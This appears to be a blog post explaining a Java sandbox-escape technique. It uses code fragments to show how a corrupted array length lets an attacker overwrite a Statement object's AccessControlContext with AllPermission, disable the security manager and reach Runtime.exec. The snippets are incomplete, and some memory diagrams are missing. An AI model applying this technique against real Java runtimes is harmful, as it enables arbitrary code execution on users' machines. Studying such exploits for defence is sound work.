New Native Java Exploit Method Using Statement Object Analysis

In the blackhat 2013, ZDI publish a paper about the US-13-Gorenc-Java-Every-Days-Exploiting-Software-Running-on-3-Billion-Devices.

In this white paper, they mention a new way to exploit the native java vulnerability,

which using the Statement Object can easily bypass the DEP and ASLR. But how do they do it.

Recently, the Packet Storm Security published two new Native Java Vulnerabilities Exploits using the Statement Class. And we can find the detail from them.

I will explain the details for you!

We known there is a AccessControlContext object in the Statement class.

(from /src/share/classes/java/beans/

public class Statement {

private static Object[] emptyArray = new Object[]{};

static ExceptionListener defaultExceptionListener = new ExceptionListener() {
public void exceptionThrown(Exception e) {
// e.printStackTrace();
System.err.println("Continuing ...");

private final AccessControlContext acc = AccessController.getContext();
private final Object target;
private final String methodName;
private final Object[] arguments;
ClassLoader loader;

We can create a fake AccessControlContext with full permission then replace with Statement.acc. After that, our Statement Object will have the full permission. then we can execute the Statement  to set the securityManger to null.

First, we need to construct the fit memory layout.

// new a fixed buffer,
DataBufferByte dst = new DataBufferByte(16);
//then new a int array.
int[] a = new int[8];
//then new a object array.
Object[] oo = new Object[7];

we known in java, when we new a buffer, the heap memory just like


after we new an int array, the memory just like


after we new a object array, the memory just like



we can see the a.length after the dst array, we use the dst as a place we can put the data into.
when there are some heap overflow or out-bound-of-array happened, the dst will overflow, then the a.length will be overwrite.
when we overwrite a.length to 0xffffffff, we can access the other heap memory.

Now we put the Statement Object and the AccessControlContext Object into the oo array.

String name = "setSecurityManager";
Object[] o1 = new Object[1];
//we set object[2] to statement object.
oo[2] = new Statement(System.class, name, o1);
//we new a permission which include the AllPermission()
Permissions ps = new Permissions();
ps.add(new AllPermission());
//we new an AccessControlContext which include upper Permissions(), then place the object into oo[3].
oo[3] = new AccessControlContext(
new ProtectionDomain[]{
new ProtectionDomain(
new CodeSource(
//in oo[4], we place the target.
oo[4] = ((Statement)oo[2]).getTarget();

now the oo memory is

oo[0] null
oo[1] null
oo[2]->Statement object
oo[3]->AccessControlContext object
oo[5] null
oo[6] null

then we search the memory to find the Target(Statement Object).

// read pointer from oo[4]
int stmTrg = a[i+4];
// search for the field behind oo[]
for(int j=i+7; j < i+7+64; j++){
    if (a[j] == stmTrg) { //we find the target.
        // overwrite default Statement.acc by oo[3] ("AllPermission")
        // we known if a[j] was the target, a[j-1] would be the Statement.acc.
        a[j-1] = a[i+3];
        found = true;

then execute the Statement.

// call System.setSecurityManager(null)

After this, we can call the Runtime.getRuntime().exec() function directly.




带 * 的是必填项目,电子邮件地址不会被公开。

Are you human? Click the Apple...